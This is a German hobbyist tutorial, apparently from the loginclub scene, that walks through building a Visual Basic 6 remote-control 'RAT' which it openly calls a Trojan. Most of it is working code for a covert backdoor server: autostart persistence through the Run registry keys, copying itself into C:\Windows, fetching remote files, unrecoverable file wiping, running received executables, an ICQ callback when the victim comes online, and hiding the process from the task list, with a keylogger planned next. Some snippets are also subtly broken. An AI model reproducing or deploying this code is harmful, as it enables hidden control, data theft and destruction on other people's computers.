Remote Adminstration Program (Trojaner)

Transcription

#########################################################################
Remote Adminstration Program (Trojaner) selber schreiben mit Visual Basic
#########################################################################
Vorwort:
Ich schreibe dieses Tutorial, um zu zeigen, was man mit Visual Basic alles machen kann,aber auch, um zu beweisen, das ein RAT nicht umbedingt als Trojaner missbraucht werden muss, was ja leider oft der Fall ist! Darum werde ich hier sicherlich nicht erklären, wie man so Kinderrein wie das sperren der Tastatur und Maus,den Screen umzudrehn, die Farben zu ändern, alle Dateinnamen umzuschreiben etc... mit VB verwirklichen kann, sondern vielmehr die wirklichen Vorteile eines NICHT schädlich genutzten RAT erklären. Desweitern, kann natürliches jedes Kind (ScriptKiddie ;))einen Trojaner/RAT herrunterladen, aber selber schreiben ist natürlich immer eine ganz andere Kunst!
Desweitern, wird es in diesem Tutorial Beispielcode geben, da es ohne ja nur schwer nachzuvollziehn ist, allerdings sollte man diesen trotzdem nicht einfach kopieren und in VB einfügen. Sondern ihn nachschreiben, und am besten selber umschreiben und weiter entwickeln, nur so kann man wirklich was lernen!Auch werd ich hier sicherlich nicht alle Funktionen aufzählen, die man so einbaunen könnte (evt. wird das in einem weiteren Tutorial folgen).
Ich werde dieses Tutorial so einfach wie möglich halten, und es sollte so auch für Anfänger verständlich sein, trotzdem empfiehlt es sich vorher allgemein mit VB beschäftigt zu haben, und schon etwas Grundwissen mitzubringen!Desweiteren nutze ich Visual Basci 6.0 Enterprise Edition damit alle Funktionen die wir brauchen unterstütz werden. Auch hab ich die Englische Version, sollten also Probleme mit der Sprache auftreten, dann müsst ihr gegenenfals etwas umschreiben, aber ich denke kaum, das das der Fall sein wird..
Rechtliche Grundlage:
Da man die von mir hier beschriebenen Funktionen, sich auch einfach für einen Trojaner missbrauchen lassen, lehne ich sämtliche Verantwortung ab, was mit dem Wissen das ich hier verbreite gemacht wird! Evt. Schäden und Missbräuche werde ich nicht verantworten! Dieses Tutorial dient rein zu Wissenserweiterung und nicht zu illegalen Zwecken!
Inhalt:
1. Was ist eigentlich ein RAT Program und wie funktioniert es?
2. Erste Schritte...
3. Winsock benutzen...
4. Der Server
4.1 Den Server Empfangsbereit machen
4.2 Daten empfangen und weiterverarbeiten
5. Der Client
5.1 Verbindung herstellen und trennen
5.2 Prüfen ob eine Verbindung steht
5.3 Daten senden
6. Weitere Funktionen
6.1 Registrieren des Servers
6.2 Größere Datein senden
6.3 Datein löschen
6.4 Anwendungen ausführen
6.5 Benachrichtigung via ICQ, wenn Server online
6.6 Server "unsichtbar" machen
7. Server installierbar machen
8. Aussicht auf evt. Funktionserweiterungen
9. Zusammenfassung
1. Was ist eigentlich ein RAT ?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jeder kennt sicherlich einen Trojaner, schließlich findet man das Wort heutzutage in jedem drittklassigen "Computer Magazin", und auf fast jeder Website, die sich mit Computer Security etc befasst!Aber eigentlich steckt dahinter ein sogenanntes Remote Administration Program, welches eigentlich dazu dienen sollte, einen PC fernzusteuern, also z.B. von zu Hause den Rechner im Büro! Leider wurde diese durchaus nützliche Funktion schnell missbraucht, um einfach und effizent die Kontrolle über fremde PC's zu übernehmen.Trotz allem steckt dahinter eigentlich ein einfaches Prinzip. Das RAT bzw der Trojaner besteht eigentlich aus 2 Teilen, dem Server und dem Clienten. Der Server wird auf dem PC installiert, den man später "fernsteuern" möchte, der Client bleibt auf dem eigenen PC. Nun kann man mit Hilfe des Clients Befehle an den Server schicken, welche er dann ausführt. So nun müssen wir nur noch diese Theorie in die Praxis umsetzten!
2.Erste Schritte...
~~~~~~~~~~~~~~~~~~~
Zuerst sollten wir uns überlegen was denn alles in unser RAT reinkommen soll, bzw welche Funktionen es haben sollte. Natürlich brauchen wir einen Server und einen Clienten, desweitern müssen wir dem Clienten ermöglichen Befehle an den Server zu schicken, welche dieser auch empfangen können muss und natürlich in der Lage sein sollte diese zu verarbeiten! Dafür muss der Server auf einem bestimmten Port empfangsbereit sein, und so die Befehle entgegen nehmen können. Um das zu erreichen sollte der Server am besten jedesmal mit Windows gestartet werden, also muss er in die Registry eingetragen werden. Nun wollen wir aber später ja nicht nur Befehle senden,sondern evt auch Programme oder sonstige Datein versenden, dir wir dann auf dem anderen PC ausführen können oder einfach nur dort speichern. Also muss auch das realisiert werden. Desweiteren will man ja auch sehn, was man eigentlich schon geschickt hat, bzw gespeichert, und das am besten so übersichtlich wie im Windows Explorer. Also muss auch dieses gemacht werm besten gleich mit der Funktion Datein zu löschen. So und damit wir immer wissen, wann wir auf den PC bzw Server zugreifen können, bauen wir uns noch eine ICQNotify Funktion ein, so das wir immer eine Nachricht bekommen wenn der Server online ist. Soweit so gut, aber jetzt fangen wir erstmal ganz am Anfang an...
3. Winsock benutzen...
~~~~~~~~~~~~~~~~~~~~~~
Also öffnen wir unser Visual Basic und erstellen eine neue Form. So nun stellt sich natürlich die Frage, wie können wir überhaupt eine Verbindung allgemein, und speziell zwischen unserem Server und Client herstellen?! Dies realisieren wir mit dem WinsockControl! Um dieses in unsere Form einzufügen, gehen wir über Projekt Komponenten,und suchen dort die Microsoft Winsock Komponente 6.0. Davor machen wir nun ein Häckchen,und klicken auf ok. Nun haben wir ein weiters Symbol links in unserer Leiste,welches die Winsock Komponente symbolisiert! So nun fügen das ganze in unsere Form ein,und wir haben nun die Voraussetzungen eine Verbindung aufzubaun.
4. Der Server
~~~~~~~~~~~~~~
Der eine Teil unsers RAT's und evt. der wichtigere schließlich muss er einwandfrei funktioniren, damit er unsere gesendeten Kommandos ausführen kann.
4.1 Den Server empfangsbereit machen

Nun denkt ihr euch sicherlich, dass kann ja nicht alles sein, ein Winsock
Control einfügen,und das ganze soll schon funktionieren? Nein natürlich kann das ganze so nicht funktionieren!Also um eine Verbindung aufzubaun, brauchen wir ja zwei Elemente, eines das etwas sendet,und ein anders welches empfängt. Unser Server ist hier der Empfänger, und damit er das auchordentlich sein kann, müssen wir ihn erstmal empfangsbereit machen, bzw dafür sorgen das erDaten empfangen kann!Dafür fügen wir einfach folgenden Code in unsere Form ein:
Private Sub Form_Load()
ws.LocalPort = 42222
ws.Close
ws.Listen
End Sub
So ws ist hier unser WinsockControl, standartmäßig heißt es ja Winsock1, da das aber zu umständlich ist, nennen wir es einfach ws (Vergesst nicht das Winsock auch rechts in der Leiste in ws umzubennen, sonst geht das ganze nicht).
Das .LocalPort deviniert den Port, auf dem das Winsock Daten empfangen kann, es ist völlig egal welchen ihr nehmt, aber er sollte höher als 1024 liegen, da die Ports darunter von anderen Programmen genutzt werden.
Das .Close und .Listen schließen erst die Verbindung ( Close: fals eine bestehen sollte, sonst funktioniert das spätere connecten nicht) und lassen das Winsock auf dem Port auf Daten warten, bzw wörtlich "lauschen" (listen).
So weit so gut, nun ist der Server empfangsbereit, damit das ganze aber auch einwandfrei funktioniert fügen wir noch folgenden Code in die Form ein:
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
If ws.State <> sckClosed Then ws.Close
ws.Accept requestID
End Sub
Das brauchen wir, damit Winsock auch wirklich den Verbindungsversuch vom Clienten akzeptiert.
4.2. Daten empfangen und weiterverarbeiten

Nachdem unser Server nun Daten theoretisch empfangen kann, soll er das ja auch tun! Leider geht das mit unserem bisherigen Code noch nicht ganz. Zwar hat der Server nun einen Port, und kann eine Verbinung mit dem Clienten aufnehmen, aber damit er wirklich die Daten des Clientens empfangen kann, fehlt noch ein bißchen. Aber auch dies ist natürlich kein wirkliches Problem, und lässt sich folgendermaßen lösen: Private Sub ws_DataArrival(ByVal bytes As Long)
Dim Dat As String
ws.GetData Dat
MsgBox Dat, vbInformation
End Sub
Wie gesagt ist nicht schwer, aber auch noch nicht sehr komplex. Aber erstmal will ich erklären was jetzt hier genau passiert. Zuerst müßen wir eine Variable devinieren, in welcher die empfangen Daten gespeichert werden. Als nächstes empfängt das Winsock mit ws.GetData die Datein und speichert sie in der Variable Dat. So und nun haben wir hier noch eine besondere Zeile "MsgBox Dat, vbInformation" , diese bewirkt, dass die empfangen Daten in einer Messagebox angezeigt werden, ähnlich einer Box welche erscheint, wenn Windows einen Fehler meldet. Man kann dies also als eine Art Nachrichtenübertragung betrachten, mit der ihr mit Hilfe des Servers Meldungen auf dem Bildschirm des anderen PC's ausgeben könnt. Zugegeben dies ist noch nicht sehr orginell, aber soll euch eine erste Möglichkeit der Datenübertragung und ihrer Auswertung zeigen. 5. Der Client
~~~~~~~~~~~~~
Das andere Teilstück unseres RAT's. Mit ihm können wir Kommandos an den Server schicken und diesen komplett steuern, und so indirekt auch den anderen PC.
5.1 Verbindung herstellen und trennen

Nachdem nun unser Server auf einem bestimmten Port auf eine Verdindung wartet, müssen wir dem Clienten nur "beibringen" mit diesem zu connecten. Also erstellen wir eine neue Form, und fügen auch hier ein Winsock Control ein. Nun brauchen wir aber noch ein bißchen mehr, 3 zusätzliche Buttons, 2 Textfelder, und 1 Label. Das erste Textfeld brauchen wir, um hier die Ip einzugeben, von dem PC zu dem wir connecten möchten. Den Verbinungsvorgang starten wir mit dem ersten Button (Command1). Um das tun zu können fügen wir folgenden Code ein:
Private Sub Command1_Click()
ws.Close
ws.Connect Text1.Text, 42222
End Sub
Hier wird dem Winsock einfach gesagt, das es die Ip aus dem Textfeld (Text1) nutzen soll, um so zu dem Port 42222 unseres Servers connecten zu können. Damit steht schon unsere Verbindung, sobald wir auf den ersten Button klicken. Fals wir die Verbindung wieder beenden möchten, machen wir das ganze wieder über die ws.Close Funktion. Da dabei allerdings Fehler auftreten können, verändern wir das ganze noch ein bißchen, so dass die Verbindung wirklich getrennt ist. Dafür nutzen wir den 2 Button. Private Sub Command2_Click()
ws.Close
Do
DoEvents
Loop Until ws.State = sckClosed
Label1.Caption = "Disconnected"
End Sub
5.2 Prüfen ob eine Verbindung steht

Damit wir aber auch wirklich wissen, ob unsere Verbinung steht, nutzen wir nun das von uns vorher eingefügte Label. Mit dem können wir uns anzeigen lassen, ob unser Server connectet ist oder nicht, indem wir einfach die Funtkionen dafür von Winsock abrufen. Dies geschiet mit folgendem Code:
Private Sub ws_Close()
Label1.Caption = "not connected"
End Sub
Private Sub ws_Connect()
Label1.Caption = "Connected!"
End Sub
Eigentlich ganz einfach, nun müsste das Label immer den entsprechenden Status anzeigen. Dies wird schon bei der oben beschriebenen Disconnectionfunktion genutzt.
5.3 Daten senden

Nun kommen wir zum eigentlichen Datenübertragung, mit der wir ja zuerst nur Text an den Server schicken. Das ist recht einfach, wir brauchen einfach folgenden Code dafür:
Private Sub Command3_Click()
ws.SendData Text2.Text 'So sendet die Winsock Daten bei einer bestehnden Verbindung
End Sub
Und schon können wir mit Hilfe des 3. Buttons den Text den wir in das zweite Testfeld schreiben, an den Server schicken, welches der nun als Meldung ausgibt. (Dafür muss man natürlich connectet sein!)
6. Weitere Funktionen
~~~~~~~~~~~~~~~~~~~~~
Nun sind die oben beschriebenen Sachen zwar ganz net, aber man kann damit ja noch net wirklich viel anfangen. Kommen wir also zu weiteren und auch komplexeren Komandos.
6.1 Regestrieren des Servers

Jetzt haben wir zwar einen fertigen kleinen Server, aber es wäre ja ganz nett, wenn dieser sich immer von alleine starten würde sobald windows startet, da wir das von zu Hause manuell schlecht machen können. Also tragen wir den Server am besten in den autostart ein, also in die registry und dort in die Unterordner Run und RunServices. Das ganze ist nun schon etwas komplizierter,deswegen brauchen wir noch ein zusätzliches Modul. Allein schon deswegen um noch etwas die Übersicht zu behalten. Aber erstmal kommt folgender Code in die normale Form:
Private Sub RegisterApp()
Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", "RAT", "C:\Windows\testrat.exe")
Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\RunServices", "RAT", "C:\Windows\testrat.exe")
End Sub
Hier wird ein Eintrag mit namen RAT in den Ordner Run und RunServices der Registry eingetragen (indem die Funktion "SetMyApplicationToRun" gestartet wird), welcher auf das Programm testrat.exe im Ordner C:\Windows verweißt. testrat.exe ist hier unser Server, der im Windows Ordner abgespeichert ist. Natürlich ist der Speicherort und Name variabel, ihr müsst dann blos den entsprechenden Code ändern, sonst wird der Server nicht gestartet.
Ok soweit der Code für die Form, jetzt brauchen wir aber noch so einiges an Code (wie z.B. die Funktion "SetMyApplicationToRun") welchen wir in das Modul einfügen. Das ganze sieht dann so aus:
Private Declare Function RegCreateKey Lib "advapi32.dll" _
Alias "RegCreateKeyA"(ByVal hKey As Long, _
ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" _
(ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA"(ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) _
As Long
Private Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Sub SetMyApplicationToRun(lhkey As Long, sSubKey As String, sValueName As String, _
lpData As String)
Dim phkResult As Long
Dim lRet As Long
lRet = RegCreateKey(lhkey, sSubKey, phkResult)
lRet = RegSetValueEx(phkResult, sValueName, 0, REG_SZ, ByVal lpData, Len(lpData))
Debug.Print lRet
lRet = RegCloseKey(phkResult)
End Sub
Sieht komplizierter aus als es ist, wir haben hier 3 Funktionen "RegCreateKey" welche den
Eintrag in die Registry macht, "RegCloseKey" welche das eintragen abschließt, also den
Eintrag speichert, und "RegSetValueEx" welche die von uns voreingestelleten Angabe wie
Name des Programms, und Speicherort des Programms, aufruft. Diese 3 Funktionen werden dann
in "SetMyApplicationToRun" zusammengefasst, und daraus entsteht dann der fertige
Registryeintrag.
Nun gut, und damit dieser ganze Vorgang ausgeführt wird, wenn der Server das erste mal
gestartet wird, und wir das danach nicht mehr selber machen müssen, fügen wir noch eine
Codezeile ein, und zwar in den Private Sub from_Load():
Call RegisterApp
Und damit sich der Server dann auch da befindet, wo der Registryeintrag drauf zugreifen
möchte, kommt noch die Zeile
FileCopy App.EXEName & ".exe", "C:\Windows\" & App.EXEName & ".exe"
dazu, welche den ganzen Server nach C:\Windows kopiert. Natürlich kann der Pfad wieder
manuell geändert werden.
6.2 Größere Datein senden

Nachdem wir nun wissen, wie wir einfachen Text an den Server schicken können, reicht uns
das natürlich nicht ganz. Schließlich wollen wir ja einen RAT coden, und kein Chatprogramm
;)
Jetzt ist dies allerdings nicht so einfach, wie unser Textversand, da wir es hier ja mit
richtigen Datein zu tun haben. Um diese versenden zu können, müssen wir sie Byte für Byte
einlesen, und an den Clienten schicken, welcher sie wieder zusammensetzt. Damit können wir
uns dann Datein erstmal vom Server schicken lassen. Natürlich lässt sich das ganze auch umd
rehn, und wir können den Server auch vom Clienten aus Datein schicken. Dafür müsst ihr den
Code den hier beschreibe einfach entsprechend umdrehen, bzw Servercode und Clientcode ver
tauschen.
Fangen wir mit dem Server an. Damit unser Server entsprechende Anfragen etc. später gleich
zeitig verarbeiten kann, benutzen wir ein 2 WinsockControl, sowohl beim Server und beim
Clienten. Also fügen wir dieses ein, und machen die selben Schritten wie in 4.1 und 5.1.
Natürlich wählen wir einen anderen Port, aber ansonsten bleibt alles gleich, bis auf den
Namen des Winsocks, dieses heißt nun ws2.
Nun zum Code des Servers:
'Sub zum senden von Datein
Private Sub ws2_DataArrival(ByVal bytesTotal As Long)
Dim data2 As String
Dim sDat As Byte
ws2.GetData data3
'Datei puffern
Open data2 For Binary Access Read As #1
Do While Not EOF(1)
Get #1, , sDat
ws2.SendData sDat
DoEvents
Loop
Close #1
End Sub
Also hier empfängt das ws2 den befehl etwas an den Clienten zu schicken. Dafür brauchen
wir 2 Variablen, data2 (in ihr wird die Datei "zwischengespeichert" um sie dann auslesen
zu können), und sDat (ihr werden die Bytes der zu versendenden Datei einzeln übertragen,
welche dann verschickt werden).
ws2.GetData data3
Hier wird der Variablen der Pfad der Datei zugewiesen, z.B. "C:\test.exe", welche versand
werden soll.
(Genauers dann beim Code des Clienten)
Open data2 For Binary Access Read As #1
Do While Not EOF(1)
Get #1, , sDat
Hier wird die Datei(deren Pfad ja in der Variablen data3 gespeichert ist) geöffnet und
Byte für Byte eingelesen und in der Variablen sDat zwischengespeichert.
ws2.SendData sDat
DoEvents
Loop
Close #1
Nun wird die Datei mit "ws2.SendData sDat" an den Clienten gesendet, und dieser Vorgang mit
Loop so lang wiederholt, bis alle Bytes der Datei übertragen wurden.
Kommen wir nun zum Clienten. Auch hier brauchen wir wie oben beschrieben, ein 2 Winsock,
aber auch ein weiteres Textfeld, und einen zusätzlichen Button. In das Textfeld, schreiben
wir dann den Pfad der Datei die wir gesendet haben möchten. Nun noch ein kurzer Code
für den Button, in dem wir einfach schreiben, das unser 2.Winsock den Text aus dem Textfeld
an den Server schicken soll. Das ganze sieht dann so aus:
ws2.SendData Text5.Text
Jetzt kommt der etwas komplexere Code, in dem wir dem Winsock sagen, was es mit den vom
Server empfangen Bytes machen soll.
Dim Ziel As String
Dim dat1 As Byte
Dim dat2 As String
Ziel = Text5.Text
dat2 = "D:\Copy" & Right$(Ziel, 4)
ws2.GetData dat1
pos = pos + 1
Open dat2 For Binary Access Write As #2
Seek #2, pos
Put #2, , dat1
Close #2
End Sub
Nun haben wir hier erstmal 3 Variablen, die Variable Ziel (hier kommt der Pfad rein, wo die
empfangene Datei gespeichert werden soll, nämlich dem im Textfeld Text5 angegebenen.
Natürlich kann man hier ein weiteres Textfeld nutzen, in dem der Pfad angegeben wird.)
dann die Variable dat1 (in welcher die empfangen Bytes zwischen gespeichert werden), und
die Variable dat2 welche den Pfad der neuen Datei enthält.
Bei diesem ganzen empfangen der Datei, werden folgende Vorgänge durchlaufen. Zuerst werden
die einzelnen Bytes empfangen und zwischen gespeichert, und das Ziel für die neue Datei
festgelegt.
Ziel = Text5.Text
dat2 = "D:\Copy" & Right$(Ziel, 4)
ws2.GetData dat1
Nun wird die neue Datei "geöffnet" um die Bytes hinein zuschreiben.
Open dat2 For Binary Access Write As #2
Seek #2, pos
Put #2, , dat1
Close #2
So und damit haben wir dann eine fertige Kopie der Datei, die auf dem anderen PC lag.
6.3 Datein löschen
~~~~~~~~~~~~~~~~~~
Diese Funtkion ist im Prinzip ja recht einfach, mit dem einfachen Befehl "Kill" kann man
ja schon eine Datei mit VB löschen. Jetzt reicht uns aber das ganze noch nicht, da diese
Datei nicht wirklich gelösch ist, und mit dem jeweiligen Programm wiederhergestellt werden
kann. Damit wir aber z.B. wichtige Dokumente unwiederruflich löschen können, werden wir
die Datei Byte für Byte einlesen, mit Nullen überschreiben, und dann löschen! Das hat den
Effekt, das die Datei wirklich unbrauchbar wird. Der Code des Clienten, ist hier relativ
einfach wir schicken einfach einen Befehl an den Server, welcher die Löschfunktion auslöst.
Dabei verbinden wir das senden diese Befehl, noch mit einem weiteren Textfeld, in das wir
den Pfad der zu löschen Datei eintragen. Dazu natürlich wie immer ein Button mit dem der
ganze "BefehlSenden" Vorgang gestartet wird.
Code für den Button im CLienten:
ws3.SendData Text*.Text 'für * das entsprechende neue Textfeld eintragen also z.B 4
Nun zum Server, hier benötigen wir ein weiteres Winsock, allein aus Übersichtlichkeit, ist
dies ganz sinvoll, und auch um evt. später Konflikte von Funktionen aus dem Weg zugehen!
Außerdem ist der Server dann auch in der Lage mehrer Sachen gleichzeitig zu bearbeiten!
So aber jetzt zum Code für den Server, das neue Winsock (ws3) wird wie immer eingefügt,
und mit einem neuen Port versehn, ansonsten ist alles dasselbe wie bei den anderen!
Dim Dat3 As String
ws3.GetData Dat3
If Dat3 Like "*:\*" Then
FileKill Dat3
End If
End Sub
Alle Daten die ws3 empfängt und die einen ":\" Teil enthalten, werden gelöscht.
Jetzt fehlt nur noch die FileKill Funktion, dass ganze sieht dann so aus:
Public Function FileKill(ByVal sFilename As String)As Boolean
Dim F As Integer
Dim sInhalt As String
Dim FileSize As Long
Dim ReadSize As Long
Dim Size As Long
Const BlockSize = 4096
' Fehlerbehandlung aktivieren
On Local Error GoTo FileKill_Error
' Datei binär öffnen
F = FreeFile
Open sFilename For Binary As #F
' Dateigröße
FileSize = LOF(F)
' DateiInhalt blockweise mit
' Leerzeichen überschreiben
While ReadSize < FileSize
If ReadSize + BlockSize > FileSize Then
Size = FileSize ReadSize
Else
Size = BlockSize
End If
' Leerzeichen schreiben
sInhalt = Space$(Size)
Put #F, , sInhalt
ReadSize = ReadSize + Size
Wend
' Datei schliessen
Close #F
' Datei löschen
Kill sFilename
FileKill = True
Exit Function
FileKill_Error:
If F > 0 Then Close #F
FileKill = False
End Function
Eigentlich sind die hier gemachten Anmerkungen Erklärung genug!
6.4 Anwendungen ausführen
~~~~~~~~~~~~~~~~~~~~~~~~~
Wenn wir nun ein entsprechendes Programm an den Server geschickt haben, wollen wir das
ganze natürlich auch ausführen können. Dies ist recht einfach zu bewerkstelligen, beim
Clienten wie immer einfach ein Button plus Textfeld, in dem der Pfad des auszuführenden
Programm steht. Fürs versenden, können wir diesmal ein vorher schon benutztes Winsock
nehmen, welches ist eigentlich egal.
Der Code für den Button sollte eigentlich klar sein.
Beim Server nehmen wir jetzt das entsprechende Winsock, das zu dem im Clienten benutzten
past (gleicher Port). Ich nehme hier unser erstes Winsock, und erweiter den Dateiempfang
durch eine IfFunktion. Das ganze sieht dann so aus:
Private Sub ws_DataArrival(ByVal bytes As Long)
Dim Dat As String
ws.GetData Dat
If Dat <> "*.*" Then
MsgBox Dat, vbInformation
End If
If Dat = "*.exe" Then
Shell Dat
End If
End Sub
Fertig. Also recht einfach das ganze, alle empfangen Daten die mit .exe enden, also z.B
der Pfad eines Programmes, werden vom Server ausgeführt. Alle andern die keinen Punkt
enthalten also keine Datei sind, werden als Textbox ausgeben. (<> heißt ja ungleich, und
sorgt hier dafür, das nicht der Pfad für ein Programm einmal als Textbox ausgeben wird,
und gleichzeitig für die Ausführung des Programmes genutzt wird.)
6.5 Benachrichtigung via ICQ wenn Server online
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Diese äußert praktische Funktion soll ja auch net in unserem Server fehlen, damit wir immer
wissen wann wir ihn denn erreichen können. Damit das funktioniert, lass wir den Server
über den ICQServer einen Pager an unsere ICQUin schicken.
Dafür brauchen wir aber noch ein paar zusätzliche Elemente in unserer Server Form, und zwar:
5 neue Textfelder, und eine zusätzliche Komponente, das Internet Transfer Control. Dies
ist äußerst wichtig, damit unser Server mit dem Server von ICQ connecten kann, und dort
mithilfe eines Scripts, einen Pager an uns schicken kann. Die Textfelder nennen wir wie
folgt, txtICQNr.Text, txtName.Text, txtEmail.Text, txtBetreff.Text, txtNachricht.Text
Diese Felder müssen wir alle ausfüllen, da sonst ICQ den Pager nicht verschickt, wobei
allerdings die ICQNummer im Text feld txtICQNr.Text am wichtigsten ist, in dem Rest
kann stehen was ihr wollt. Das einzige was zu bedenken ist das im txtEmail ein email
artiger Text steht, also z.B. [email protected]
Nachdem wir das alles fertig haben, kommen wir jetzt zu der eigentlichen Funktion, mit
der wir das ganze ausführen können:
Public Sub ICQMessage(ICQNummer As String, Name As String, _
EMail As String, Betreff As String, Nachricht As String)
Dim r_name As String
Dim r_Subject As String
Dim r_Message As String
r_name = Replace(Trim$(Name), " ", "+")
r_Subject = Replace(Trim$(Betreff), " ", "+")
r_Message = Replace(Trim$(Nachricht), " ", "+")
' Zeilenumbrüche codieren
r_Message = Replace(r_Message, vbCrLf, "%0d%0a")
Const ICQURL = "http://wwp.icq.com/scripts/WWPMsg.dll"
Inet1.Execute ICQURL & "?from=" & r_name & _
"&fromemail=" & EMail & _
"&subject=" & r_Subject & _
"&body=" & r_Message & _
"&to=" & ICQNummer & _
"&Send=" & """"
End Sub
So der wichtigste Teil ist eigentlich der, welcher mit "Const ICQURL =
"http://wwp.icq.com/scripts/WWPMsg.dll" anfängt, hier connectet unser Internet Control
mit dem ICQ Server und mit Hilfe der dort abgelegten dll wird ein Pager an uns
verschickt, in dem er die von uns ausgefüllten Text felder an den Server schickt.
So und damit das immer passiert wenn der Server online geht, bzw gestartet wird, kommt
das ganze noch in den Form_Load:
ICQMessage txtICQNr.Text, txtName.Text, txtEmail.Text, _
txtBetreff.Text, txtNachricht.Text
So das war alles. Nun muss man halt nurnoch bedenken wie man das denn macht, wenn der PC
nicht online ist, also auch net der Server online gehen kann. Dann müsste diese Funktion
ja in gewissen abständen sooft ausgeführt werden bis eine Internetverbindung besteht.
Aber das dürft ihr euch selber überlegen, bzw. ich werde es evt. bei einem "Funtkions
erweiterungstut" beilegen.
6.6 Server "unsichtbar" machen
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nun kommt man ja manchmal in die Situation, das nicht jeder sehen soll, das auf dem ent
sprechenden PC ein Server läuft. Jetzt kann man natürlich die Form des Programmes ganz ein
fach "unsichtbar" machen, indem man in Privat Sub From_Load() From1.hide eingibt. Nun ist
zwar das Programm an sich "getarnt" aber durch drücken von strgaltentf wird es immernoch
als laufender Prozess angezeigt. Um dies zu unterbinden, lassen wir die aktuelle ProcessID
auslesen, und dann mithilfe des Kernels, zu verstecken, bzw nicht mehr anzuzeigen. Dafür
brauchen wir nur zwei kleine Funktionen, die wir in die Form einfügen:
Private Declare Function GetCurrentProcessId Lib _
"Kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib _
"Kernel32" (ByVal dwProcessID As Long, ByVal _
dwType As Long) As Long
Und jetzt noch 2 kleine Funtkionsaufrufe und eine Variable in das Private Sub From_Load():
Dim pid&
pid = GetCurrentProcessId
RegisterServiceProcess pid, 1&
So und damit sollte unser Server schon sehr viel schwerer aufzuspüren sein!
7. Server installierbar machen
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nachdem wir nun das Grundlegende unseres RAT fertig haben, liegt es natürlich nahe, das
ganze einfach zu komplimieren und dann die fertige exe Datei einfach auf dem Pc auszuführen.
Für den Client würde dies funktionieren, schließlich bleibt er auf unserem PC, aber was
ist mit der Server Datei? Wir können leider nicht davon ausgehen, das sämtliche
Laufzeitdaten von VB bereits auf dem anderen PC installiert sind. Vor allem unser reichlich
genutztes WinsockControll fehlt auf vielen PC's. Also müssen wir eine Art SetupDatei
erstellen, in die wir alle unsere benötigten .Dll Datein packen können. Es gibt mehrer
Möglichkeiten dies zu verwirklichen, einmal kann man den Der Verpackungs und
WeitergabeAssistent (Bestandteil deiner Visual Basic Installation (ab Prof. Version))
nutzen oder andere Programm wie z.B. Exe Bundle.
Um den Microsoft Verpackungs und WeitergabeAssistenten nutzen zu können, müsst Ihr euer
Projekt zunächst kompilimentieren. Nach dem Start des Assistenten wählen ihr die Projekt
datei aus (VBPDatei). Um ein Setup zu erstellen müsst ihr dann den Befehl Verpacken
aufrufen. Der Assistent ermittelt nun alle Dateien, die von eurer Anwendung
benötigt werden. Hierzu "durchforstet" er die Projektdatei nach Verweisen auf externe
Komponenten und listet alle gefundenen Komponenten auf.
Im großen und ganzen findet der Assistent alle benötigten Dateien selbständig. Sollen
weitere Dateien mit ins Setup gepackt werden, z.B. OnlineHilfe, Datendateien u. a., müssen
diese manuell hinzugefügt werden. Der Nachteil ist halt, das dieses Setup auch wiederum VB
Laufzeitdatein benötigt, allerdings sind diese auf den meisten PC's installiert.
8. Aussicht auf evt. Funktionserweiterungen
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nachdem wir nun schon ziemlich viele Funtkionen in unseren RAT integriert haben, fehlen uns
natürlich noch ein paar Funktionen, wie z.B:
Eine Art Explorer mit dem wir alle Daten des anderen PC's einsehen können
Eine Möglichkeit den Server wieder zu entfernen wenn er nicht mehr gebraucht wird
Die Möglichkeit auch durch Router zu connecten
Sämtliche laufende Prozesse auf den anderen PC aufzulisten und diese gegebenenfals zu
beenden
Systeminformationen über den PC sammeln
Ein Keylogger evt. mit der Funktion das ganze an eine EMail adresse zu schicken
usw.
Diese werd ich wohl denächst in einem Zusatz Tutorial beifügen, sobald ich das alles zum
laufen gebracht hab, und die Zeit finde es aufzuschreiben. Allerdings sind die hier
erklärten Funtkionen eigentlich als Grundlage ausreichend und es ist jedem selbst
überlassen eigenes hinzuzufügen oder anderes wegzulassen.
9. Zusammenfassung
~~~~~~~~~~~~~~~~~~
Jetzt sind wir am Ende meines Tutorials. Ich hoffe ich konnte hier einiges an Wissen
vermitteln. Natürlich ist das ganze noch nicht zu 100% ausgereift, aber ein bißchen
eigen Arbeit müsst und solltet ihr ja auch selber leisten.
Aber ansonsten kann man mit diesem RATProgramm schon eine Menge machen, und ihn evt. als
Plattform nutzen um andere RAT's zu uploaden. Trotzdem könnte er auch, mit den folgenden Er
weiterungen, sehr gut als Eigenständiger RAT Funktionieren.
Also zum Abschluss hoffe ich, dass man das was ich hier vermitteln wollte zumindest in
Teilen nutzen kann, und auch weiterentwickelt. Sicherlich kann man einiges von mir dar
gestelltes anders evt. auch besser machen, aber es soll ja auch erstmal nur als Grundlage
dienen.
#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#
$ $
# Geschrieben von: MadMat | madmat@loginclub.org #
$ $
# Mitwirkender und Ideengeber: VeNoM
#
$ Dieses Tutorial darf kopiert, aber nicht verändert werden $ #
#
$ $
# http://www.loginclub.org | irc.euric.net 6667 #loginclub #
$ $
# __ _ ________ __ #
$ / / ___ ___ (_)___ / ____/ /_ __/ /_ $
# / / / __ \/ __ \/ / __ \/ / / / / / / __ \ #
$ / /__/ /_/ / /_/ / / / / / /___/ / /_/ / /_/ / $
# /____/\____/\__ /_/_/ /_/\____/_/\____/_____/ #
$ / /_/ / $
# \____/ #
$ $
